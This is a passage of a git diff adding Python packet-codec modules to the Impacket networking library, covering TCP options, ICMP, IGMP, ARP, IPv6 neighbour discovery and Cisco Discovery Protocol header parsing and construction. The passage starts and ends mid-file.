+            raise ImpactPacketException("Can only retrieve timestamp from TCPOPT_TIMESTAMP option")
+        return self.get_long(2)
+
+    def set_ts(self, ts):
+        if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:
+            raise ImpactPacketException("Can only set timestamp on TCPOPT_TIMESTAMP option")
+        self.set_long(2, ts)
+
+    def get_ts_echo(self):
+        if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:
+            raise ImpactPacketException("Can only retrieve timestamp from TCPOPT_TIMESTAMP option")
+        return self.get_long(6)
+
+    def set_ts_echo(self, ts):
+        if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP:
+            raise ImpactPacketException("Can only set timestamp on TCPOPT_TIMESTAMP option")
+        self.set_long(6, ts)
+
+    def __str__(self):
+        map = { TCPOption.TCPOPT_EOL : "End of List ",
+                TCPOption.TCPOPT_NOP : "No Operation ",
+                TCPOption.TCPOPT_MAXSEG : "Maximum Segment Size ",
+                TCPOption.TCPOPT_WINDOW : "Window Scale ",
+                TCPOption.TCPOPT_TIMESTAMP : "Timestamp " }
+
+        tmp_str = "\tTCP Option: "
+        op = self.get_kind()
+        if op in map:
+            tmp_str += map[op]
+        else:
+            tmp_str += " kind: %d " % op
+        if op == TCPOption.TCPOPT_MAXSEG:
+            tmp_str += " MSS : %d " % self.get_mss()
+        elif op == TCPOption.TCPOPT_WINDOW:
+            tmp_str += " Shift Count: %d " % self.get_shift_cnt()
+        elif op == TCPOption.TCPOPT_TIMESTAMP:
+            pass # TODO
+        return tmp_str
+
+class ICMP(Header):
+    protocol = 1
+    ICMP_ECHOREPLY              = 0
+    ICMP_UNREACH                = 3
+    ICMP_UNREACH_NET            = 0
+    ICMP_UNREACH_HOST           = 1
+    ICMP_UNREACH_PROTOCOL       = 2
+    ICMP_UNREACH_PORT           = 3
+    ICMP_UNREACH_NEEDFRAG       = 4
+    ICMP_UNREACH_SRCFAIL        = 5
+    ICMP_UNREACH_NET_UNKNOWN    = 6
+    ICMP_UNREACH_HOST_UNKNOWN   = 7
+    ICMP_UNREACH_ISOLATED       = 8
+    ICMP_UNREACH_NET_PROHIB     = 9
+    ICMP_UNREACH_HOST_PROHIB    = 10
+    ICMP_UNREACH_TOSNET         = 11
+    ICMP_UNREACH_TOSHOST        = 12
+    ICMP_UNREACH_FILTERPROHIB   = 13
+    ICMP_UNREACH_HOST_PRECEDENCE = 14
+    ICMP_UNREACH_PRECEDENCE_CUTOFF = 15
+    ICMP_SOURCEQUENCH               = 4
+    ICMP_REDIRECT                   = 5
+    ICMP_REDIRECT_NET           = 0
+    ICMP_REDIRECT_HOST          = 1
+    ICMP_REDIRECT_TOSNET        = 2
+    ICMP_REDIRECT_TOSHOST       = 3
+    ICMP_ALTHOSTADDR                = 6
+    ICMP_ECHO                       = 8
+    ICMP_ROUTERADVERT               = 9
+    ICMP_ROUTERSOLICIT              = 10
+    ICMP_TIMXCEED                   = 11
+    ICMP_TIMXCEED_INTRANS       = 0
+    ICMP_TIMXCEED_REASS         = 1
+    ICMP_PARAMPROB                  = 12
+    ICMP_PARAMPROB_ERRATPTR     = 0
+    ICMP_PARAMPROB_OPTABSENT    = 1
+    ICMP_PARAMPROB_LENGTH       = 2
+    ICMP_TSTAMP                     = 13
+    ICMP_TSTAMPREPLY                = 14
+    ICMP_IREQ                       = 15
+    ICMP_IREQREPLY                  = 16
+    ICMP_MASKREQ                    = 17
+    ICMP_MASKREPLY                  = 18
+
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 8)
+        if aBuffer:
+            self.load_header(aBuffer)
+
+    def get_header_size(self):
+        anamolies = { ICMP.ICMP_TSTAMP : 20, ICMP.ICMP_TSTAMPREPLY : 20, ICMP.ICMP_MASKREQ : 12, ICMP.ICMP_MASKREPLY : 12 }
+        if self.get_icmp_type() in anamolies:
+            return anamolies[self.get_icmp_type()]
+        else:
+            return 8
+
+    def get_icmp_type(self):
+        return self.get_byte(0)
+
+    def set_icmp_type(self, aValue):
+        self.set_byte(0, aValue)
+
+    def get_icmp_code(self):
+        return self.get_byte(1)
+
+    def set_icmp_code(self, aValue):
+        self.set_byte(1, aValue)
+
+    def get_icmp_cksum(self):
+        return self.get_word(2)
+
+    def set_icmp_cksum(self, aValue):
+        self.set_word(2, aValue)
+        self.auto_checksum = 0
+
+    def get_icmp_gwaddr(self):
+        return self.get_ip_address(4)
+
+    def set_icmp_gwaddr(self, ip):
+        self.set_ip_address(4, ip)
+
+    def get_icmp_id(self):
+        return self.get_word(4)
+
+    def set_icmp_id(self, aValue):
+        self.set_word(4, aValue)
+
+    def get_icmp_seq(self):
+        return self.get_word(6)
+
+    def set_icmp_seq(self, aValue):
+        self.set_word(6, aValue)
+
+    def get_icmp_void(self):
+        return self.get_long(4)
+
+    def set_icmp_void(self, aValue):
+        self.set_long(4, aValue)
+
+
+    def get_icmp_nextmtu(self):
+        return self.get_word(6)
+
+    def set_icmp_nextmtu(self, aValue):
+        self.set_word(6, aValue)
+
+    def get_icmp_num_addrs(self):
+        return self.get_byte(4)
+
+    def set_icmp_num_addrs(self, aValue):
+        self.set_byte(4, aValue)
+
+    def get_icmp_wpa(self):
+        return self.get_byte(5)
+
+    def set_icmp_wpa(self, aValue):
+        self.set_byte(5, aValue)
+
+    def get_icmp_lifetime(self):
+        return self.get_word(6)
+
+    def set_icmp_lifetime(self, aValue):
+        self.set_word(6, aValue)
+
+    def get_icmp_otime(self):
+        return self.get_long(8)
+
+    def set_icmp_otime(self, aValue):
+        self.set_long(8, aValue)
+
+    def get_icmp_rtime(self):
+        return self.get_long(12)
+
+    def set_icmp_rtime(self, aValue):
+        self.set_long(12, aValue)
+
+    def get_icmp_ttime(self):
+        return self.get_long(16)
+
+    def set_icmp_ttime(self, aValue):
+        self.set_long(16, aValue)
+
+    def get_icmp_mask(self):
+        return self.get_ip_address(8)
+
+    def set_icmp_mask(self, mask):
+        self.set_ip_address(8, mask)
+
+
+    def calculate_checksum(self):
+        if self.auto_checksum and (not self.get_icmp_cksum()):
+            buffer = self.get_buffer_as_string()
+            data = self.get_data_as_string()
+            if data:
+                buffer += data
+
+            tmp_array = array.array('B', buffer)
+            self.set_icmp_cksum(self.compute_checksum(tmp_array))
+
+    def get_type_name(self, aType):
+        tmp_type = {0:'ECHOREPLY', 3:'UNREACH', 4:'SOURCEQUENCH',5:'REDIRECT', 6:'ALTHOSTADDR', 8:'ECHO', 9:'ROUTERADVERT', 10:'ROUTERSOLICIT', 11:'TIMXCEED', 12:'PARAMPROB', 13:'TSTAMP', 14:'TSTAMPREPLY', 15:'IREQ', 16:'IREQREPLY', 17:'MASKREQ', 18:'MASKREPLY', 30:'TRACEROUTE', 31:'DATACONVERR', 32:'MOBILE REDIRECT', 33:'IPV6 WHEREAREYOU', 34:'IPV6 IAMHERE', 35:'MOBILE REGREQUEST', 36:'MOBILE REGREPLY', 39:'SKIP', 40:'PHOTURIS'}
+        answer = tmp_type.get(aType, 'UNKNOWN')
+        return answer
+
+    def get_code_name(self, aType, aCode):
+        tmp_code = {3:['UNREACH NET', 'UNREACH HOST', 'UNREACH PROTOCOL', 'UNREACH PORT', 'UNREACH NEEDFRAG', 'UNREACH SRCFAIL', 'UNREACH NET UNKNOWN', 'UNREACH HOST UNKNOWN', 'UNREACH ISOLATED', 'UNREACH NET PROHIB', 'UNREACH HOST PROHIB', 'UNREACH TOSNET', 'UNREACH TOSHOST', 'UNREACH FILTER PROHIB', 'UNREACH HOST PRECEDENCE', 'UNREACH PRECEDENCE CUTOFF', 'UNKNOWN ICMP UNREACH']}
+        tmp_code[5] = ['REDIRECT NET', 'REDIRECT HOST', 'REDIRECT TOSNET', 'REDIRECT TOSHOST']
+        tmp_code[9] = ['ROUTERADVERT NORMAL', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None,'ROUTERADVERT NOROUTE COMMON']
+        tmp_code[11] = ['TIMXCEED INTRANS ', 'TIMXCEED REASS']
+        tmp_code[12] = ['PARAMPROB ERRATPTR ', 'PARAMPROB OPTABSENT', 'PARAMPROB LENGTH']
+        tmp_code[40] = [None, 'PHOTURIS UNKNOWN INDEX', 'PHOTURIS AUTH FAILED', 'PHOTURIS DECRYPT FAILED']
+        if aType in tmp_code:
+            tmp_list = tmp_code[aType]
+            if ((aCode + 1) > len(tmp_list)) or (not tmp_list[aCode]):
+                return 'UNKNOWN'
+            else:
+                return tmp_list[aCode]
+        else:
+            return 'UNKNOWN'
+
+    def __str__(self):
+        tmp_type = self.get_icmp_type()
+        tmp_code = self.get_icmp_code()
+        tmp_str = 'ICMP type: ' + self.get_type_name(tmp_type)
+        tmp_str+= ' code: ' + self.get_code_name(tmp_type, tmp_code)
+        if self.child():
+            tmp_str += '\n' + str( self.child() )
+        return tmp_str
+
+    def isDestinationUnreachable(self):
+        return self.get_icmp_type() == 3
+
+    def isError(self):
+        return not self.isQuery()
+
+    def isHostUnreachable(self):
+        return self.isDestinationUnreachable() and (self.get_icmp_code() == 1)
+
+    def isNetUnreachable(self):
+        return self.isDestinationUnreachable() and (self.get_icmp_code() == 0)
+
+    def isPortUnreachable(self):
+        return self.isDestinationUnreachable() and (self.get_icmp_code() == 3)
+
+    def isProtocolUnreachable(self):
+        return self.isDestinationUnreachable() and (self.get_icmp_code() == 2)
+
+    def isQuery(self):
+        tmp_dict = {8:'',  9:'',  10:'', 13:'', 14:'', 15:'', 16:'', 17:'', 18:''}
+        return self.get_icmp_type() in tmp_dict
+
+class IGMP(Header):
+    protocol = 2
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 8)
+        if aBuffer:
+            self.load_header(aBuffer)
+
+    def get_igmp_type(self):
+        return self.get_byte(0)
+
+    def set_igmp_type(self, aValue):
+        self.set_byte(0, aValue)
+
+    def get_igmp_code(self):
+        return self.get_byte(1)
+
+    def set_igmp_code(self, aValue):
+        self.set_byte(1, aValue)
+
+    def get_igmp_cksum(self):
+        return self.get_word(2)
+
+    def set_igmp_cksum(self, aValue):
+        self.set_word(2, aValue)
+
+    def get_igmp_group(self):
+        return self.get_long(4)
+
+    def set_igmp_group(self, aValue):
+        self.set_long(4, aValue)
+
+    def get_header_size(self):
+        return 8
+
+    def get_type_name(self, aType):
+        tmp_dict = {0x11:'HOST MEMBERSHIP QUERY ', 0x12:'v1 HOST MEMBERSHIP REPORT ', 0x13:'IGMP DVMRP ', 0x14:' PIM ', 0x16:'v2 HOST MEMBERSHIP REPORT ', 0x17:'HOST LEAVE MESSAGE ', 0x1e:'MTRACE REPLY ', 0X1f:'MTRACE QUERY '}
+        answer = tmp_dict.get(aType, 'UNKNOWN TYPE OR VERSION ')
+        return answer
+
+    def calculate_checksum(self):
+        if self.auto_checksum and (not self.get_igmp_cksum()):
+            self.set_igmp_cksum(self.compute_checksum(self.get_bytes()))
+
+    def __str__(self):
+        tmp_str = 'IGMP: ' + self.get_type_name(self.get_igmp_type())
+        tmp_str += 'Group: ' +  socket.inet_ntoa(struct.pack('!L',self.get_igmp_group()))
+        if self.child():
+            tmp_str += '\n' + str(self.child())
+        return tmp_str
+
+
+
+class ARP(Header):
+    ethertype = 0x806
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 7)
+        if aBuffer:
+            self.load_header(aBuffer)
+
+    def get_ar_hrd(self):
+        return self.get_word(0)
+
+    def set_ar_hrd(self, aValue):
+        self.set_word(0, aValue)
+
+    def get_ar_pro(self):
+        return self.get_word(2)
+
+    def set_ar_pro(self, aValue):
+        self.set_word(2, aValue)
+
+    def get_ar_hln(self):
+        return self.get_byte(4)
+
+    def set_ar_hln(self, aValue):
+        self.set_byte(4, aValue)
+
+    def get_ar_pln(self):
+        return self.get_byte(5)
+
+    def set_ar_pln(self, aValue):
+        self.set_byte(5, aValue)
+
+    def get_ar_op(self):
+        return self.get_word(6)
+
+    def set_ar_op(self, aValue):
+        self.set_word(6, aValue)
+
+    def get_ar_sha(self):
+        tmp_size = self.get_ar_hln()
+        return self.get_bytes().tolist()[8: 8 + tmp_size]
+
+    def set_ar_sha(self, aValue):
+        for i in range(0, self.get_ar_hln()):
+            self.set_byte(i + 8, aValue[i])
+
+    def get_ar_spa(self):
+        tmp_size = self.get_ar_pln()
+        return self.get_bytes().tolist()[8 + self.get_ar_hln(): 8 + self.get_ar_hln() + tmp_size]
+
+    def set_ar_spa(self, aValue):
+        for i in range(0, self.get_ar_pln()):
+            self.set_byte(i + 8 + self.get_ar_hln(), aValue[i])
+
+    def get_ar_tha(self):
+        tmp_size = self.get_ar_hln()
+        tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln()
+        return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size]
+
+    def set_ar_tha(self, aValue):
+        tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln()
+        for i in range(0, self.get_ar_hln()):
+            self.set_byte(i + tmp_from, aValue[i])
+
+    def get_ar_tpa(self):
+        tmp_size = self.get_ar_pln()
+        tmp_from = 8 + ( 2 * self.get_ar_hln()) + self.get_ar_pln()
+        return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size]
+
+    def set_ar_tpa(self, aValue):
+        tmp_from = 8 + (2 * self.get_ar_hln()) + self.get_ar_pln()
+        for i in range(0, self.get_ar_pln()):
+            self.set_byte(i + tmp_from, aValue[i])
+
+    def get_header_size(self):
+        return 8 + (2 * self.get_ar_hln()) + (2 * self.get_ar_pln())
+
+    def get_op_name(self, ar_op):
+        tmp_dict = {1:'REQUEST', 2:'REPLY', 3:'REVREQUEST', 4:'REVREPLY', 8:'INVREQUEST', 9:'INVREPLY'}
+        answer = tmp_dict.get(ar_op, 'UNKNOWN')
+        return answer
+
+    def get_hrd_name(self, ar_hrd):
+        tmp_dict = { 1:'ARPHRD ETHER', 6:'ARPHRD IEEE802', 15:'ARPHRD FRELAY'}
+        answer = tmp_dict.get(ar_hrd, 'UNKNOWN')
+        return answer
+
+
+    def as_hrd(self, anArray):
+        if not anArray:
+            return ''
+        tmp_str = '%x' % anArray[0]
+        for i in range(1, len(anArray)):
+            tmp_str += ':%x' % anArray[i]
+        return tmp_str
+
+    def as_pro(self, anArray):
+        if not anArray:
+            return ''
+        tmp_str = '%d' % anArray[0]
+        for i in range(1, len(anArray)):
+            tmp_str += '.%d' % anArray[i]
+        return tmp_str
+
+    def __str__(self):
+        tmp_op = self.get_ar_op()
+        tmp_str = 'ARP format: ' + self.get_hrd_name(self.get_ar_hrd()) + ' '
+        tmp_str += 'opcode: ' + self.get_op_name(tmp_op)
+        tmp_str += '\n' + self.as_hrd(self.get_ar_sha()) + ' -> '
+        tmp_str += self.as_hrd(self.get_ar_tha())
+        tmp_str += '\n' + self.as_pro(self.get_ar_spa()) + ' -> '
+        tmp_str += self.as_pro(self.get_ar_tpa())
+        if self.child():
+            tmp_str += '\n' + str(self.child())
+        return tmp_str
+
+def example(): #To execute an example, remove this line
+    a = Ethernet()
+    b = ARP()
+    c = Data('Hola loco!!!')
+    b.set_ar_hln(6)
+    b.set_ar_pln(4)
+    #a.set_ip_dst('192.168.22.6')
+    #a.set_ip_src('1.1.1.2')
+    a.contains(b)
+    b.contains(c)
+    b.set_ar_op(2)
+    b.set_ar_hrd(1)
+    b.set_ar_spa((192, 168, 22, 6))
+    b.set_ar_tpa((192, 168, 66, 171))
+    a.set_ether_shost((0x0, 0xe0, 0x7d, 0x8a, 0xef, 0x3d))
+    a.set_ether_dhost((0x0, 0xc0, 0xdf, 0x6, 0x5, 0xe))
+    print("beto %s" % a)
diff --git a/impacket/NDP.py b/impacket/NDP.py
new file mode 100644
index 0000000..60b1401
--- /dev/null
+++ b/impacket/NDP.py
@@ -0,0 +1,167 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+import array
+import struct
+
+from impacket import ImpactPacket
+from impacket.ICMP6 import ICMP6
+
+
+class NDP(ICMP6):
+    #ICMP message type numbers
+    ROUTER_SOLICITATION = 133
+    ROUTER_ADVERTISEMENT = 134
+    NEIGHBOR_SOLICITATION = 135
+    NEIGHBOR_ADVERTISEMENT = 136
+    REDIRECT = 137
+
+############################################################################
+# Append NDP Option helper
+
+    def append_ndp_option(self, ndp_option):
+        #As NDP inherits ICMP6, it is, in fact an ICMP6 "header"
+        #The payload (where all NDP options should reside) is a child of the header
+        self.child().get_bytes().extend(ndp_option.get_bytes())
+                
+        
+############################################################################
+    @classmethod
+    def Router_Solicitation(class_object):
+        message_data = struct.pack('>L', 0) #Reserved bytes
+        return class_object.__build_message(NDP.ROUTER_SOLICITATION, message_data)
+
+    @classmethod
+    def Router_Advertisement(class_object, current_hop_limit, 
+                             managed_flag, other_flag, 
+                             router_lifetime, reachable_time, retransmission_timer):        
+        flag_byte = 0x00
+        if (managed_flag):
+            flag_byte |= 0x80
+        if (other_flag):
+            flag_byte |= 0x40
+            
+        message_data = struct.pack('>BBHLL', current_hop_limit, flag_byte, router_lifetime, reachable_time, retransmission_timer)
+        return class_object.__build_message(NDP.ROUTER_ADVERTISEMENT, message_data)
+
+    @classmethod
+    def Neighbor_Solicitation(class_object, target_address):        
+        message_data = struct.pack('>L', 0) #Reserved bytes
+        message_data += ImpactPacket.array_tobytes(target_address.as_bytes())
+        return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data)
+
+
+    @classmethod
+    def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_flag, target_address):                
+        flag_byte = 0x00
+        if (router_flag):
+            flag_byte |= 0x80
+        if (solicited_flag):
+            flag_byte |= 0x40
+        if (override_flag):
+            flag_byte |= 0x20
+            
+        message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes
+        message_data += ImpactPacket.array_tobytes(target_address.as_bytes())
+        return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data)
+
+
+    @classmethod
+    def Redirect(class_object, target_address, destination_address):        
+        message_data = struct.pack('>L', 0)# Reserved bytes
+        message_data += ImpactPacket.array_tobytes(target_address.as_bytes())
+        message_data += ImpactPacket.array_tobytes(destination_address.as_bytes())
+        return class_object.__build_message(NDP.REDIRECT, message_data)
+
+    
+    @classmethod
+    def __build_message(class_object, type, message_data):
+        #Build NDP header
+        ndp_packet = NDP()
+        ndp_packet.set_type(type)
+        ndp_packet.set_code(0)
+        
+        #Pack payload
+        ndp_payload = ImpactPacket.Data()
+        ndp_payload.set_data(message_data)
+        ndp_packet.contains(ndp_payload)
+        
+        return ndp_packet
+
+
+    
+        
+class NDP_Option():
+    #NDP Option Type numbers
+    SOURCE_LINK_LAYER_ADDRESS = 1
+    TARGET_LINK_LAYER_ADDRESS = 2
+    PREFIX_INFORMATION = 3
+    REDIRECTED_HEADER = 4
+    MTU_OPTION = 5
+    
+############################################################################
+    @classmethod    
+    #link_layer_address must have a size that is a multiple of 8 octets
+    def Source_Link_Layer_Address(class_object, link_layer_address):
+        return class_object.__Link_Layer_Address(NDP_Option.SOURCE_LINK_LAYER_ADDRESS, link_layer_address)
+
+    @classmethod    
+    #link_layer_address must have a size that is a multiple of 8 octets
+    def Target_Link_Layer_Address(class_object, link_layer_address):
+        return class_object.__Link_Layer_Address(NDP_Option.TARGET_LINK_LAYER_ADDRESS, link_layer_address)
+
+    @classmethod    
+    #link_layer_address must have a size that is a multiple of 8 octets
+    def __Link_Layer_Address(class_object, option_type, link_layer_address):
+        option_length = (len(link_layer_address) / 8) + 1
+        option_data = ImpactPacket.array_tobytes(array.array("B", link_layer_address))
+        return class_object.__build_option(option_type, option_length, option_data)
+
+    @classmethod
+    #Note: if we upgraded to Python 2.6, we could use collections.namedtuples for encapsulating the arguments
+    #ENHANCEMENT - Prefix could be an instance of IP6_Address 
+    def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_flag, valid_lifetime, preferred_lifetime, prefix):
+        
+        flag_byte = 0x00
+        if (on_link_flag):
+            flag_byte |= 0x80
+        if (autonomous_flag):
+            flag_byte |= 0x40
+        
+        option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime)
+        option_data += struct.pack('>L', 0) #Reserved bytes
+        option_data += ImpactPacket.array_tobytes(array.array("B", prefix))
+        option_length = 4        
+        return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data)
+        
+        
+    @classmethod    
+    def Redirected_Header(class_object, original_packet):
+        option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes
+        option_data += ImpactPacket.array_tobytes(array.array("B", original_packet))
+        option_length = (len(option_data) + 4) / 8  
+        return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data)
+    
+    @classmethod    
+    def MTU(class_object, mtu):
+        option_data = struct.pack('>BB', 0x00, 0x00)# Reserved bytes
+        option_data += struct.pack('>L', mtu)
+        option_length = 1
+        return class_object.__build_option(NDP_Option.MTU_OPTION, option_length, option_data)
+
+
+    @classmethod
+    def __build_option(class_object, type, length, option_data):
+        #Pack data
+        data_bytes = struct.pack('>BB', type, length)
+        data_bytes += option_data
+        ndp_option = ImpactPacket.Data()
+        ndp_option.set_data(data_bytes)
+        
+        return ndp_option
diff --git a/impacket/__init__.py b/impacket/__init__.py
new file mode 100644
index 0000000..963b480
--- /dev/null
+++ b/impacket/__init__.py
@@ -0,0 +1,28 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2016 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+# Set default logging handler to avoid "No handler found" warnings.
+import logging
+try:  # Python 2.7+
+    from logging import NullHandler
+except ImportError:
+    class NullHandler(logging.Handler):
+        def emit(self, record):
+            pass
+
+# All modules inside this library MUST use this logger (impacket)
+# It is up to the library consumer to do whatever is wanted 
+# with the logger output. By default it is forwarded to the 
+# upstream logger
+
+LOG = logging.getLogger(__name__)
+LOG.addHandler(NullHandler())
diff --git a/impacket/cdp.py b/impacket/cdp.py
new file mode 100644
index 0000000..4264ab9
--- /dev/null
+++ b/impacket/cdp.py
@@ -0,0 +1,498 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Cisco Discovery Protocol packet codecs.
+#
+# Author:
+#   Martin Candurra
+#
+
+from struct import unpack
+import socket
+
+from impacket.ImpactPacket import Header, array_tobytes
+from impacket import LOG
+
+IP_ADDRESS_LENGTH = 4
+
+class CDPTypes:
+
+    DeviceID_Type       = 1
+    Address_Type        = 2
+    PortID_Type         = 3
+    Capabilities_Type   = 4
+    SoftVersion_Type    = 5
+    Platform_Type       = 6
+    IPPrefix_Type       = 7
+    ProtocolHello_Type  = 8
+    MTU_Type            = 17
+    SystemName_Type     = 20
+    SystemObjectId_Type = 21
+    SnmpLocation        = 23
+    
+class CDP(Header):
+    
+    Type = 0x2000
+    OUI =  0x00000c
+    
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 8)
+        if aBuffer:
+            self.load_header(aBuffer)
+            self._elements = self._getElements(aBuffer)
+
+    def _getElements(self, aBuffer):
+        # Remove version (1 byte), TTL (1 byte), and checksum (2 bytes)
+        buff = aBuffer[4:]
+        l = []
+        while buff:
+            elem = CDPElementFactory.create(buff)
+            l.append( elem )
+            buff = buff[ elem.get_length() : ]
+        return l
+
+    def get_header_size(self):
+        return 8
+        
+    def get_version(self):
+        return self.get_byte(0)
+        
+    def get_ttl(self):
+        return self.get_byte(1)
+        
+    def get_checksum(self):
+        return self.get_word(2)
+
+    def get_type(self):
+        return self.get_word(4)
+        
+    def get_lenght(self):      
+        return self.get_word(6)
+
+    def getElements(self):
+        return self._elements
+
+
+    def __str__(self):
+        tmp_str = 'CDP Details:\n'
+        for element in self._elements:
+            tmp_str += "** Type:" + str(element.get_type()) + " " + str(element) + "\n"
+        return tmp_str
+        
+
+def get_byte(buffer, offset):
+    return unpack("!B", buffer[offset:offset+1])[0]
+
+def get_word(buffer, offset):
+    return unpack("!h", buffer[offset:offset+2])[0]
+
+def get_long(buffer, offset):
+    return unpack("!I", buffer[offset:offset+4])[0]
+
+def get_bytes(buffer, offset, bytes):
+    return buffer[offset:offset + bytes]
+
+def mac_to_string(mac_bytes):
+    bytes = unpack('!BBBBBB', mac_bytes)
+    s = ''
+    for byte in bytes:
+        s += '%02x:' % byte
+    return s[0:-1]
+    
+    
+
+class CDPElement(Header):
+
+    def __init__(self, aBuffer = None):
+        Header.__init__(self, 8)
+        if aBuffer:
+            self._length = CDPElement.Get_length(aBuffer)
+            self.load_header( aBuffer[:self._length] )
+
+    @classmethod
+    def Get_length(cls, aBuffer):
+        return unpack('!h', aBuffer[2:4])[0]
+
+    def get_header_size(self):
+        self._length
+
+    def get_length(self):
+        return self.get_word(2)
+                
+    def get_data(self):        
+        return array_tobytes(self.get_bytes())[4:self.get_length()]
+
+    def get_ip_address(self, offset = 0, ip = None):
+        if not ip:
+            ip = array_tobytes(self.get_bytes())[offset : offset + IP_ADDRESS_LENGTH]
+        return socket.inet_ntoa( ip )
+        
+class CDPDevice(CDPElement):
+    Type = 1
+    
+    def get_type(self):
+        return CDPDevice.Type
+    
+    def get_device_id(self):
+        return CDPElement.get_data(self)
+
+    def __str__(self):
+        return "Device:" + self.get_device_id()
+
+class Address(CDPElement):
+    Type = 2
+   
+    def __init__(self, aBuffer = None):
+        CDPElement.__init__(self, aBuffer)
+        if aBuffer:
+            data = array_tobytes(self.get_bytes())[8:]
+            self._generateAddressDetails(data)
+
+    def _generateAddressDetails(self, buff):
+        self.address_details = []
+        while buff:
+            address = AddressDetails.create(buff)
+            self.address_details.append( address )
+            buff = buff[address.get_total_length():]
+
+    def get_type(self):
+        return Address.Type
+    
+    def get_number(self):
+        return self.get_long(4)
+       
+    def get_address_details(self):
+        return self.address_details
+        
+    def __str__(self):
+        tmp_str = "Addresses:"
+        for address_detail in self.address_details:
+            tmp_str += "\n" + str(address_detail)
+        return tmp_str        
+        
+class AddressDetails():        
+          
+    PROTOCOL_IP = 0xcc          
+          
+    @classmethod
+    def create(cls, buff):
+        a = AddressDetails(buff)
+        return a
+
+
+    def __init__(self, aBuffer = None):
+        if aBuffer:
+            addr_length = unpack("!h", aBuffer[3:5])[0]
+            self.total_length = addr_length + 5
+            self.buffer = aBuffer[:self.total_length]
+    
+    def get_total_length(self):
+        return self.total_length
+        
+    def get_protocol_type(self):
+        return self.buffer[0:1]
+        
+    def get_protocol_length(self):
+        return get_byte( self.buffer, 1)
+
+    def get_protocol(self):
+        return get_byte( self.buffer, 2)
+        
+    def get_address_length(self):
+        return get_word( self.buffer, 3)
+        
+    def get_address(self):
+        address =  get_bytes( self.buffer, 5, self.get_address_length() )
+        if  self.get_protocol()==AddressDetails.PROTOCOL_IP:
+            return socket.inet_ntoa(address)
+        else:
+            LOG.error("Address not IP")
+            return address            
+            
+    def is_protocol_IP(self):
+        return self.get_protocol()==AddressDetails.PROTOCOL_IP
+            
+    def __str__(self):
+        return "Protocol Type:%r Protocol:%r Address Length:%r Address:%s" % (self.get_protocol_type(), self.get_protocol(), self.get_address_length(), self.get_address())            
+       
+class Port(CDPElement):
+    Type = 3
+    
+    def get_type(self):
+        return Port.Type
+    
+    def get_port(self):
+        return CDPElement.get_data(self)                
+
+    def __str__(self):
+        return "Port:" + self.get_port()
+
+
+class Capabilities(CDPElement):
+    Type = 4
+    
+    def __init__(self, aBuffer = None):
+        CDPElement.__init__(self, aBuffer)
+        self._capabilities_processed = False
+        
+        self._router = False
+        self._transparent_bridge = False
+        self._source_route_bridge = False
+        self._switch = False
+        self._host = False
+        self._igmp_capable = False
+        self._repeater = False
+        self._init_capabilities()
+        
+    def get_type(self):
+        return Capabilities.Type
+    
+    def get_capabilities(self):
+        return CDPElement.get_data(self)  
+        
+    def _init_capabilities(self):
+        if self._capabilities_processed:
+            return
+        
+        capabilities = unpack("!L", self.get_capabilities())[0]
+        self._router = (capabilities & 0x1) > 0
+        self._transparent_bridge = (capabilities & 0x02) > 0
+        self._source_route_bridge = (capabilities & 0x04) > 0
+        self._switch = (capabilities & 0x08) > 0
+        self._host = (capabilities & 0x10) > 0
+        self._igmp_capable = (capabilities & 0x20) > 0
+        self._repeater = (capabilities & 0x40) > 0
+
+    def is_router(self):
+        return self._router
+
+    def is_transparent_bridge(self):
+        return self._transparent_bridge
+
+    def is_source_route_bridge(self):
+        return self._source_route_bridge
+        
+    def is_switch(self):
+        return self._switch
+
+    def is_host(self):
+        return self.is_host
+
+    def is_igmp_capable(self):
+        return self._igmp_capable
+        
+    def is_repeater(self):
+        return self._repeater
+
+                 
+    def __str__(self):
+        return "Capabilities:" + self.get_capabilities()
+                 
+                                
+class SoftVersion(CDPElement):
+    Type = 5
+    
+    def get_type(self):
+        return SoftVersion.Type
+    
+    def get_version(self):
+        return CDPElement.get_data(self)
+
+    def __str__(self):
+        return "Version:" + self.get_version()
+
+  
+class Platform(CDPElement):
+    Type = 6
+    
+    def get_type(self):
+        return Platform.Type
+    
+    def get_platform(self):
+        return CDPElement.get_data(self)                
+
+    def __str__(self):
+        return "Platform:%r" % self.get_platform()                
+      
+
+class IpPrefix(CDPElement):
+    Type = 7
+    
+    def get_type(self):
+        return IpPrefix .Type
+    
+    def get_ip_prefix(self):
+        return CDPElement.get_ip_address(self, 4)                
+
+    def get_bits(self):
+        return self.get_byte(8)        
+        
